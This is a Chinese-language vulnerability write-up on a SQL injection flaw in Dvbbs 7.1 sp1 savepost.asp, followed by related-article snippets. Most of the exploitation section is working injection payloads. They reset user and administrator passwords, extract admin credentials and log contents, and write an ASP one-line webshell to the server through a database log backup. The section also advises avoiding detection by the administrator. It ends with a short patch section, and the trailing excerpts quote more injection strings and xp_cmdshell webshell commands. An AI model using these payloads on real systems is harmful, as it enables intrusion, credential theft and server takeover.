Dvbbs7.1 sp1 SQL版savepost.asp注入漏洞分析、利用及防范

一、概述
    漏洞介绍:




http://coolersky.com/leak/programme/bbs/2006/0515/515.html
    前几天就听Hak_Ban说有人把dvbbs7的一个注入漏洞给发布出去了,一直也没时间看看,下午跟Edward要了个链接看了看:




http://www.eviloctal.com/forum/read.php?tid=22074
    本站转贴为:




http://coolersky.com/articles/hack/analysis/programme/2006/0515/238.html
    看了看风尘浪子的分析,觉得已经分析的挺明白的了,不过群里还是有几个朋友搞不太明白,索性在本地搭环境测试一下漏洞,感谢keng提供程序,呵呵,实在懒得去网上找。
    二、漏洞分析
    既然是savepost.asp程序的问题,那就打开改文件,风尘浪子已经提到是ToolsBuyUser参数过滤不足,那就看这个变量。
    32行,定义变量:




Private GetPostType,ToMoney,UseTools,ToolsBuyUser,GetMoneyType,Tools_UseTools,Tools_LastPostTime,ToolsInfo,ToolsSetting
    111行,置空




ToolsBuyUser = ""
    120行,在参数GetPostType为0时,赋值




ToolsBuyUser = "0|||$SendMoney"
    123行,在参数GetPostType为1时,赋值



ToolsBuyUser = "0|||$GetMoney"
    139行,在参数GetPostType为2时,赋值




ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy_UserList&"|||$PayMoney|||"
    747行,定义sql




SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")"
    745行,执行sql




Dvbbs.Execute(sql)
    我们看到,在整个获得数据到提交的过程中,没有对ToolsBuyUser参数进行安全过滤,导致了sql注入漏洞。
    三、漏洞利用
    1、注册用户coolersky
    2、选择发表新话题
    3、在“选择帖子类型”中选中“论坛交易帖设置”
 
    4、在“可购买用户名单限制:”中写入




'将自身用户口令修改为123456
coolersky',0);update dv_user set userpassword='49ba59abbe56e057' where username='coolersky';--
    修改口令后,重新登陆论坛,若使用123456登陆成功,则说明该漏洞尚未修补。
    5、获得前台管理员用户名和口令,分别放在自定义头像和签名中,查看用户coolersky的基本资料即可看到。




coolersky',0);update dv_user set userface=(select top 1 username from dv_user where userclass='管理员'),usersign=(select top 1 userpassword from dv_user where userclass='管理员') where username='coolersky';--
    6、获得后台管理员用户名和口令




coolersky',0);update dv_user set userface=(select top 1 username from dv_admin),usersign=(select top 1 password from dv_admin) where username='coolersky';--
    7、通过日志查看后台管理密码




coolersky',0);update dv_user set usersign=(select l_content from dv_log where l_content like '%password2%') where username='coolersky';--
    8、获得数据库名称




coolersky',0);update dv_user set userface=(select db_name())where username='coolersky';--
    9、日志差异备份webshell




'替换dbname为上一步获得的数据库名称,日志差异备份要db_owner权限!
'替换d:\web\dvbbs7\为当前论坛物理路径,怎么获得别来问我!
coolersky',0);alter database dbname set RECOVERY FULL;create table temptt (a image);backup log dbname to disk = 'c:\acool_back' with init;insert into temptt (a) values ('<%execute request("l")%>');backup log dbname to disk = 'd:\web\dvbbs7\temptt.asp';drop table temptt;alter database dbname set RECOVERY SIMPLE;--
    或者




coolersky',0);alter database dbname set RECOVERY FULL;create table temptt (a image);backup log dbname to disk = 'c:\acool_back' with init;insert into temptt (a) values (0x273C2565786563757465207265717565737428226C2229253E27);backup log dbname to disk = ''d:\web\dvbbs7\temptt.asp';drop table temptt;alter database dbname set RECOVERY SIMPLE;--
    使用最小asp木马客户端连接即可!
    10、直接修改管理员口令
    通过5、6、7三个步骤可以获得管理员前后台的用户名和密码,至少密码是16位md5,我们可以通过网络查询或者暴力破解获得管理员口令来登录前后台,但是也很可能没办法破解出口令。
    而如果也无法获得论坛的物理路径,那么只好通过修改管理员口令来实现了,当然能不改管理员口令还是尽量避免修改,否则马上就被管理员知道被入侵了。
    (1)获得前台管理员用户名:




coolersky',0);update dv_user set userface=(select top 1 username from dv_user where userclass='管理员')where username='test';--
    (2)修改前台管理员口令:




'假设我们获得前台管理员用户名为admin,修改密码为123456
coolersky',0);update dv_user set userpassword='49ba59abbe56e057' where username='admin';--
    (3)获得后台管理员用户名:




coolersky',0);update dv_user set userface=(select top 1 username from dv_admin)where username='test';--
    (4)修改后台管理员口令:




'假设我们获得后台管理员用户名为admin,修改密码为123456
coolersky',0);update dv_admin set password='49ba59abbe56e057' where username='admin';--
    (5)登录前台上传mdb构造过的asp一句话后门,后台back为asp或asa文件即可,如何操作不在本文描述过程中。
    通过以上操作,只要服务器支持多语句,那么我们还可以对数据库进行更多操作。
    四、漏洞修补
    1、从dvbbs下载最新补丁




http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1
    2、打开savepost.asp文件,将747行




SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")"
    修改为:




SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&dvbbs.checkstr(ToolsBuyUser)&"',"&GetMoneyType&")"
    即用dvbbs.checkstr函数过滤ToolsBuyUser内容。

(0)

相关推荐

  • ASP注入详细命令40条第1/2页

    1. 用^转义字符来写ASP(一句话木马)文件的方法:   http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';-- echo ^<%execute^(request^("

  • 全面认识ASP注入技巧

    复制代码 代码如下: 1.判断是否有注入  ;and 1=1  ;and 1=2 2.初步判断是否是mssql  ;and user>0 3.注入参数是字符  'and [查询条件] and ''=' 4.搜索时没过滤参数的  'and [查询条件] and '%25'=' 5.判断数据库系统  ;and (select count(*) from sysobjects)>0 mssql  ;and (select count(*) from msysobjects)>0 access

  • 全面了解ASP注入方法 [收集总结]

    1.判断是否有注入 ;and 1=1 ;and 1=2 2.初步判断是否是mssql ;and user>0 3.注入参数是字符 'and [查询条件] and ''=' 4.搜索时没过滤参数的 'and [查询条件] and '%25'=' 5.判断数据库系统 ;and (select count(*) from sysobjects)>0 mssql ;and (select count(*) from msysobjects)>0 access 6.猜数据库 ;and (Selec

  • 防ASP注入终极防范

    下面给出4个函数,足够你抵挡一切SQL注入漏洞!读懂代码,你就能融会贯通. 注意要对所有的request对象进行过滤:包括 request.cookie, request.ServerVariables 等等容易被忽视的对象: 程序代码 复制代码 代码如下: function killn(byval s1) '过滤数值型参数 if not isnumeric(s1) then killn=0 else if s1〈0 or s1〉2147483647 then killn=0 else kill

  • Dvbbs7.1 sp1 SQL版savepost.asp注入漏洞分析、利用及防范

    一.概述    漏洞介绍: http://coolersky.com/leak/programme/bbs/2006/0515/515.html    前几天就听Hak_Ban说有人把dvbbs7的一个注入漏洞给发布出去了,一直也没时间看看,下午跟Edward要了个链接看了看: http://www.eviloctal.com/forum/read.php?tid=22074    本站转贴为: http://coolersky.com/articles/hack/analysis/progra

  • JavaScript注入漏洞的原理及防范(详解)

    初次接触: 初次接触JavaScript注入漏洞后,如果不对这种漏洞的作用机理仔细分析并提取出其发生的某种模式,你就不能做到快速的发现项目中可能存在的所有注入风险并在代码中防范. 发生模式: JavaScript注入漏洞能发生作用主要依赖两个关键的动作,一个是用户要能从界面中注入JavaScript到系统的内存或者后台存储系统中:二是系统中存在一些UI会展示用户注入的数据. 比如注入漏洞最常见的就是发生在各种类型的名字中,比如系统中的人名等等,因为名字往往会在各种系统上显示,如果在某个用户输入名

  • PHP序列化/对象注入漏洞分析

    本文是关于PHP序列化/对象注入漏洞分析的短篇,里面讲述了如何获取主机的远程shell. 如果你想自行测试这个漏洞,你可以通过 XVWA 和 Kevgir 进行操作. 漏洞利用的第一步,我们开始测试目标应用是否存在PHP序列化.为了辅助测试,我们使用了Burpsuite的SuperSerial插件,下载地址在 这里 .它会被动检测PHP和Java序列化的存在. 分析 我们检测到了应用里使用了PHP序列化,所以我们可以开始确认应用代码里是否含有远程代码执行漏洞.需要注意的是,序列化对象是从参数"r

  • SpringCloud Function SpEL注入漏洞分析及环境搭建

    目录 SpringCloud Function 介绍 漏洞环境搭建 SpEL注入 漏洞复现 原理分析 补丁分析 引用 SpringCloud Function 介绍 SpringCloud 是一套分布式系统的解决方案,常见的还有阿里巴巴的Dubbo,Fass(Function As A Service )的底层实现就是函数式编程,在视频转码.音视频转换.数据仓库ETL等与状态相关度低的领域运用的比较多.开发者无需关注服务器环境运维等问题上,专注于自身业务逻辑实现即可. SpringCloud F

  • Discuz7.2版的faq.php SQL注入漏洞分析

    注入代码实例: 复制代码 代码如下: http://www.jb51.net/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_sch

  • Python写的Discuz7.2版faq.php注入漏洞工具

    Discuz 7.2 faq.php全自动利用工具,getshell 以及dump数据,python 版的uc_key getshell部分的代码来自网上(感谢作者) 实现代码: #!/usr/bin/env python # -*- coding: gbk -*- # -*- coding: gb2312 -*- # -*- coding: utf_8 -*- # author iswin import sys import hashlib import time import math im

  • asp终极防范SQL注入漏洞

    下面给出4个函数,足够你抵挡一切SQL注入漏洞!读懂代码,你就能融会贯通. 注意要对所有的request对象进行过滤:包括 request.cookie, request.ServerVariables 等等容易被忽视的对象: 复制代码 代码如下: function killn(byval s1) '过滤数值型参数 if not isnumeric(s1) then killn=0 else if s1<0 or s1>2147483647 then killn=0 else killn=cl

  • SQL Injection with MySQL 注入分析

    声明 本文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责,本文所有代码均为本人所写,所有数据均经过测试.绝对真实.如果有什么遗漏或错误,欢迎来安全天使论坛和我交流. 前言 2003年开始,喜欢脚本攻击的人越来越多,而且研究ASP下注入的朋友也逐渐多了起来,我看过最早的关于SQL注入的文章是一篇99年国外的高手写的,而现在国外的已经炉火纯青了,国内才开始注意这个技术,由此看来,国内的这方面的技术相对于国外还是有一段很大差距,话说回来,大家对SQL注入攻击也相当熟悉了,国内各大站点都有些堪称

  • 蓝雨设计整站SQL注入漏洞

    本来是投稿文章来的,因为稿件的问题所以就上不了杂志,再加上最近有些人在网站留言说三道四的猜测蓝雨的问题,所以我就公开漏洞预警所说的漏洞,官方已经把版本都打了补丁,当然有些使用网站至今还是存在着SQL注入漏洞的,所以一切后果与我以及BCT小组无关 最近无聊,在网上走来走去看看.发现现在的整站系统可是越来越多了,修改版本等等的N多阿!而蓝雨设计整站的使用者也越来越多了,蓝雨整站系统是从NOWA 0.94修改而来的!基于NOWA的系统不单指蓝雨一个还有很多的!我在此就不一一列举了,核心都是一样,只是程

随机推荐